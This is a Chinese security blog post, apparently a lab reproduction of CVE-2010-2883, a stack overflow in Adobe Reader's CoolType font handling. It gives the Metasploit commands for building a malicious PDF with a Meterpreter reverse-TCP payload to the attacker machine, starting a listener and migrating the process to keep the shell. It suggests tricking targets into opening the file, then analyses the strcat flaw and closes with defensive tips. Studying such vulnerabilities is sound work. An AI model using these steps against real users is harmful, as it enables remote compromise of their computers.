PDF文件攻击

admin 2022年3月7日19:33:09评论42 views字数 2675阅读8分55秒阅读模式




作者;myst9527

文章来源;微信公众号;国科漏斗社区





简介

PDF文件攻击


这次来说说一个关于由PDF文件的栈溢出而引发的远程任意代码执行的典型老版漏洞。这枚漏洞是在2010年被发布出来,距今已快10年之久,但是漏洞却很简单粗暴,有着打开PDF文件就立马中招的效果。


说起这枚漏洞,就要来掰扯掰扯“漏洞界”的两大“泰山北斗”了。Microsoft的Office套件和Adobe的全家桶,这两家曝出的漏洞,从出洞频率、其危害系数、受影响范围等多个维度来看,都是可以把其他家的软件给远远的抛在后面。

PDF文件攻击

在Adobe全家桶中的Adobe Flash Player、Adobe Reader、Adobe Acrobat等产品,可以说是“难兄难弟”了,每年都会贡献一大波漏洞。但其实,所有的软件都多多少少存在着漏洞,没有绝对安全的软件,其重点就是看有没有大佬们去挖掘而已。Adobe系列产品因为桌面安装量很大,且官方似乎对于安全开发这块的工作做的不是很好,大量黑客和安全研究人员更愿意投入时间来进行挖洞,一个成熟的可以利用的Adobe 0day漏洞可是值很多很多钱的,要是我能挖到这种0day,我就可以少奋斗几年。嘿嘿嘿嘿~~~

PDF文件攻击 这枚cve-2010-2883漏洞就是Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当打开特制的恶意PDF文件时,可允许任意代码远程执行;其Adobe Reader9.3.4之前的版本都受到影响。接下来来复现一下这枚cve-2010-2883漏洞,来看下它的效果。

● 环境

攻击机:Kali Linux(ip:10.1.0.109)

靶机:Windows 7(ip:10.1.0.101)

软件:Adobe Reader 9.0、PdfStreamDumper.exe、IDAPro6.6


● 过程

一、开启我们的kali,使用Metasploit来生成PDF木马文件。

1. 开启Metasploit,搜索cve-2010-2883

search cve-2010-2883

PDF文件攻击

 2. 调用模块

use exploit/windows/fileformat/adobe_cooltype_sing/

3. 调用meterpreter载荷,反向连接到攻击

set payload windows/meterpreter/reverse_tcp

4. 设置攻击机IP地址

set LHOST 10.1.0.109

5. 设置本地监听端口(不设置就是默认的4444端口)

set LPORT 8888

PDF文件攻击6. 查看配置是否正确

show options

PDF文件攻击7. 设置生成的文件名

set FILENAME 0000.pdf


8. 执行生成文件

Run(exploit)

PDF文件攻击

注:生成的文件在隐藏的文件夹中,须将隐藏去掉。

PDF文件攻击

PDF文件攻击

二、将PDF木马文件拷贝至靶机上(在真实环境下,可以社工一下,诱使目标打开PDF)

Metasploit开启监听,等待肉鸡上线。

1. 使用handler监听模块

use exploit/multi/handler

2. 回弹一个tcp连接

set payload windows/meterpreter/reverse_tcp

3. 设置监听IP地址(与之前设置木马文件的一致)

set LHOST 10.1.0.109

4. 设置监听端口(与之前设置木马文件的一致,默认是4444

set LPORT 8888

PDF文件攻击5. 查看配置是否正确

show options

PDF文件攻击6. 开启监听

run

PDF文件攻击

三、肉鸡上线

在目标打开PDF文件时,会产生卡壳无法正常打开,当软件关闭,meterpreter也将会断开。使用migrate命令将进程迁移至其他进程上,保持连接状态。

1.使用ps查看正在运行的进程(在这我打开一个文本作为演示)

PDF文件攻击

2.使用migrate将进程迁移至notepad上,保持连接状态。

PDF文件攻击
PDF文件攻击

3.查看连接状态

netstat -a

PDF文件攻击

至此整个过程结束,成功拿到shell。

可以看到,最终由于Adobe Reader存在CVE-2010-2883这种高危漏洞,导致电脑打开带有特制的PDF后,就变成了别人家的肉鸡了。


漏洞分析
PDF文件攻击

一、使用IDA静态分析CoolType.dll库,定位至出现漏洞的位置;

PDF文件攻击

在0x0803DBA1调用了strcat函数,strcat函数原型如下:

char *strcat(char *dest, const char *src);

strcat会将参数src字符串复制到参数dest所指的字符串尾部,dest最后的结束字符NULL会被覆盖掉,并在连接后的字符串尾部再增加一个NULL。

漏洞成因就是没有去验证src的长度是否可能会超出dest数组定义的长度。如果我们有可能超出dest数组定义的长度的数据放入src中有可能在后方调用strcat函数时覆盖栈区从而实现代码执行。


二、使用PdfStreamDumper分析PDF样本文件;

在官方文档中,入口地址为0x1c为SING表的真实数据;

PDF文件攻击

而后在偏移0x10就是uniqueName的数据,uniqueName为28位,对齐后为4个字节;

PDF文件攻击在CoolType.dll中,使用strcat操作此处时并没有判断长度,所以构造超长的uniqueName可导致栈溢出。

上CVE看了下关于PDF文件相关的漏洞还真不少,收录在CVE中就有1183条。

PDF文件攻击

在以往的PDF漏洞来看,最受关注和欢迎的就是上面那种任意代码执行漏洞,这类漏洞的危害也是最大的,一般都是可以在用户电脑上执行任意的恶意代码。但这类漏洞因为PDF沙箱的原因也有着很大的局限性,往往是需要配合系统的提权漏洞一起使用才能进行完整的攻击过程,所以投入的成本较高在这几年来出现的完整攻击样本较少。


现市面上主流的PDF查看器中都存在着类似问题,使用这些PDF查看器的用户都可能会受到影响。在真实环境下,很多黑客会结合社会工程学,譬如通过诱导邮件、各种论坛、QQ群、微信群等多渠道,诱使用户下载并打开,而文件只要一被打开就有可能中招。


所以平时要小心陌生的文件,在打开前要明确来源,或使用杀毒软件进行杀毒。尽量保证电脑的软件处于最新版本,这样才能最大程度较低被攻击的概率。不过想必大家现在的电脑上都是360全家桶,一般不会再像早期互联网那时的情况一样出现这种简单粗暴的攻击。

PDF文件攻击
END

参考资料:

《0day安全》

《漏洞战争》

https://blog.csdn.net/weixin_33866037/article/details/92911757




全世界只有不到3 % 的人关注了渗透云笔记

你真是个特别的人

 


点击原文跳转

本文始发于微信公众号(渗透云笔记):PDF文件攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月7日19:33:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PDF文件攻击http://cn-sec.com/archives/493169.html

发表评论

匿名网友 填写信息